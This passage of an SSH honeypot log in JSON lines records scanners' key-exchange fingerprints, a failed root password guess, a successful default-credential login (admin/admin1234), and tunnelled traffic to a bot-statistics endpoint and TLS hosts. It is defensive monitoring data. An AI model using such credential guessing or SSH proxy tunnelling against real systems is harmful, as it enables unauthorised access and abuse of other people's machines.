fie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:55.069522Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":46720,"dst_ip":"159.203.135.109","dst_port":22,"session":"eccf01035d0c","protocol":"ssh","message":"New connection: 2.99.213.222:46720 (159.203.135.109:22) [session: eccf01035d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:55.667913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:55.672504Z","src_ip":"2.99.213.222","session":"eccf01035d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:55.772540Z","src_ip":"2.99.213.222","session":"eccf01035d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:56.209653Z","src_ip":"2.99.213.222","session":"eccf01035d0c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:56.311125Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:56.736630Z","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:56.849798Z","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:57.014355Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.9 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aWI4TzRvX1p0VykwcVhNRg%3D%3DjjeSLs8wF31AQ%2B33BvM%2BQox0E2L9OeonkpjnNAZ8UTpmI5DASAo7%2BtTkh2LBC27%2B1ueA2vLGU1Rcq2s6F1AnQgd9gdt0SNPFP7Fsj0b%2F1583EXl4le8hWBhSl%2BvYL1l7YBwwYnR7OcGYxEf%2FT76P%2F47xDMR%2Bv4CgCXpU8HK4zEy2LyxSVFv9DgiY131B8j%2FhLd3zwlTc9nJHH%2BkFMfq4PuvaOKh9kzAQbWDp%2FLlLP63pacyGV8d7jtHo1kfzb8%2Bls334jBGHH6o%2Fl7Kz2bTtwEN2g%2FqvrxuwmKnN87pOUodycBb9%2FUkZTW9iAXJ3jpuPU5DvRN2alnRuk1w9Fol8GZI1AICdKKUzYSxwaTcXt1gT03Q4kvUwv1rqOMFsI48hcnlx5lB7om7ZIjGMTLoRGGXOQn%2B8TooZkk3CvHDf3zawcIYueLrGQdyf8kT%2FNsksxagl5%2B3%2BcXZbrpauEzKPVaC6osP8CmzANFMq5x7WX7RXQcM5jmk%2BEbaHvtlmbz2pmIDMgZS%2Bui4Bfd0j89lnO57sK86Hm8uQKOM%2B0Cx9A%2BiN%2FpNPp9owR2KGvoiRmWcmC4kX3tFpRXFSiBuo4XKNHdiGoT02nrSEe%2FvgH%2FCgGrVK6vUmYAulvbznVgFI1AXNwLZpIDzUC%2FAMv%2Fof436cby%2BqyGrBlxnBKGUHZvCck4veKckBIavmQOVs4j%2BPXIH88MGclAUYUCpIzxefHAh4m3VRcdL7cm1lFO5DgCqYiUC2rh8%2BnY%2FvkwXE7sASRqBribo%2B4khMO6ZFj4ndXDk6Dlqz6JZIqtQ9%2B7JdajQ7iBOdBteVnRJSVB%2BjaS%2B07ucJSgjmpjUn%2FjY8v%2BVT6muNDeAziT5ua2saAnrPdzZRoSnKqRBnmp%2BNxfA%2ByDksfTwfung7c%2FYgjUtbuuGhgk8Y%2FNuLUFwmCBxx91nTol7fzaJN69LIMTjsMmToAoMRid59UOxr2Q8ENnVbxLFVqlMxl9Qyk%2FDRGRcmySy%2Fz6yoJTkAqLd6x7BPUoUApVX%2Fcq%2B5J4eqppuzqBEVLzHm%2BY2j7hw1oEPCVBB5yJdPtieCtZ0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.9 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aWI4TzRvX1p0VykwcVhNRg%3D%3DjjeSLs8wF31AQ%2B33BvM%2BQox0E2L9OeonkpjnNAZ8UTpmI5DASAo7%2BtTkh2LBC27%2B1ueA2vLGU1Rcq2s6F1AnQgd9gdt0SNPFP7Fsj0b%2F1583EXl4le8hWBhSl%2BvYL1l7YBwwYnR7OcGYxEf%2FT76P%2F47xDMR%2Bv4CgCXpU8HK4zEy2LyxSVFv9DgiY131B8j%2FhLd3zwlTc9nJHH%2BkFMfq4PuvaOKh9kzAQbWDp%2FLlLP63pacyGV8d7jtHo1kfzb8%2Bls334jBGHH6o%2Fl7Kz2bTtwEN2g%2FqvrxuwmKnN87pOUodycBb9%2FUkZTW9iAXJ3jpuPU5DvRN2alnRuk1w9Fol8GZI1AICdKKUzYSxwaTcXt1gT03Q4kvUwv1rqOMFsI48hcnlx5lB7om7ZIjGMTLoRGGXOQn%2B8TooZkk3CvHDf3zawcIYueLrGQdyf8kT%2FNsksxagl5%2B3%2BcXZbrpauEzKPVaC6osP8CmzANFMq5x7WX7RXQcM5jmk%2BEbaHvtlmbz2pmIDMgZS%2Bui4Bfd0j89lnO57sK86Hm8uQKOM%2B0Cx9A%2BiN%2FpNPp9owR2KGvoiRmWcmC4kX3tFpRXFSiBuo4XKNHdiGoT02nrSEe%2FvgH%2FCgGrVK6vUmYAulvbznVgFI1AXNwLZpIDzUC%2FAMv%2Fof436cby%2BqyGrBlxnBKGUHZvCck4veKckBIavmQOVs4j%2BPXIH88MGclAUYUCpIzxefHAh4m3VRcdL7cm1lFO5DgCqYiUC2rh8%2BnY%2FvkwXE7sASRqBribo%2B4khMO6ZFj4ndXDk6Dlqz6JZIqtQ9%2B7JdajQ7iBOdBteVnRJSVB%2BjaS%2B07ucJSgjmpjUn%2FjY8v%2BVT6muNDeAziT5ua2saAnrPdzZRoSnKqRBnmp%2BNxfA%2ByDksfTwfung7c%2FYgjUtbuuGhgk8Y%2FNuLUFwmCBxx91nTol7fzaJN69LIMTjsMmToAoMRid59UOxr2Q8ENnVbxLFVqlMxl9Qyk%2FDRGRcmySy%2Fz6yoJTkAqLd6x7BPUoUApVX%2Fcq%2B5J4eqppuzqBEVLzHm%2BY2j7hw1oEPCVBB5yJdPtieCtZ0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:57.017025Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:57.286461Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\x85\\xfe\\xde\\xbb\\xf74\\xd4\\xb5\\xe0\\xd8\\x7f\\x11m\\xd8\\x0e`\\x92\\xe6\\xc2\\x15>\\x12\\x9b\\x92!R\\xe4q\\xe6n$ G\\xba\\xca\\xf2\\xbf\\x80q\\xc9M\\xf1\\x86\\xc2 X\\xa5j\\xdd\\x06\\x92\\xfe_\\x9e\\x80\\xbb\\r\\xeb\\xe9\\xbd\\xdc\\x10j\\xfa\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 $28\\xf3\\x1eb\\x0cr\\xfa\\xc7:m\\xaf\\x03\\xcbB\\x14\\xa4x_\\x18\\xfcr\\x80\\xfc\\x10\\x83\\x86Z\\x8c|\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\x85\\xfe\\xde\\xbb\\xf74\\xd4\\xb5\\xe0\\xd8\\x7f\\x11m\\xd8\\x0e`\\x92\\xe6\\xc2\\x15>\\x12\\x9b\\x92!R\\xe4q\\xe6n$ G\\xba\\xca\\xf2\\xbf\\x80q\\xc9M\\xf1\\x86\\xc2 X\\xa5j\\xdd\\x06\\x92\\xfe_\\x9e\\x80\\xbb\\r\\xeb\\xe9\\xbd\\xdc\\x10j\\xfa\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 $28\\xf3\\x1eb\\x0cr\\xfa\\xc7:m\\xaf\\x03\\xcbB\\x14\\xa4x_\\x18\\xfcr\\x80\\xfc\\x10\\x83\\x86Z\\x8c|\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:57.289766Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:57.310454Z","src_ip":"2.99.213.222","session":"eccf01035d0c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:57.833895Z","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:58.112757Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xae\\xc7\\xb0CA/\\xa1\\xdd\\x1f\\r\\x8b\\xed\\x16\\xa0\\xf7\\xdf\\x82#\\xa6\\xa8\\x9e%t+\\xd9\\xd15\\xcaKH\\xf8 X(/S\\xf4\\xa9.*\\xc3B\\xaf\\xdeV\\xca\\xcbw\\'\\xb0{\\x0bbK\\x8dc\\x19\\xd2\\xa3l\\x86\\x8b\\x0c\\x86\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11u\\x0e4\\x0f\\xe2y\\x06;W\\xf0`\\xd9\\x11\\xbf\\x1c\\xac\\xb2\\xa7\\x80\\x17a\\xfa\\xbd\\xf0|\"i\\x056\\xf6(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xae\\xc7\\xb0CA/\\xa1\\xdd\\x1f\\r\\x8b\\xed\\x16\\xa0\\xf7\\xdf\\x82#\\xa6\\xa8\\x9e%t+\\xd9\\xd15\\xcaKH\\xf8 X(/S\\xf4\\xa9.*\\xc3B\\xaf\\xdeV\\xca\\xcbw\\'\\xb0{\\x0bbK\\x8dc\\x19\\xd2\\xa3l\\x86\\x8b\\x0c\\x86\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11u\\x0e4\\x0f\\xe2y\\x06;W\\xf0`\\xd9\\x11\\xbf\\x1c\\xac\\xb2\\xa7\\x80\\x17a\\xfa\\xbd\\xf0|\"i\\x056\\xf6(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:58.115334Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:58.523743Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
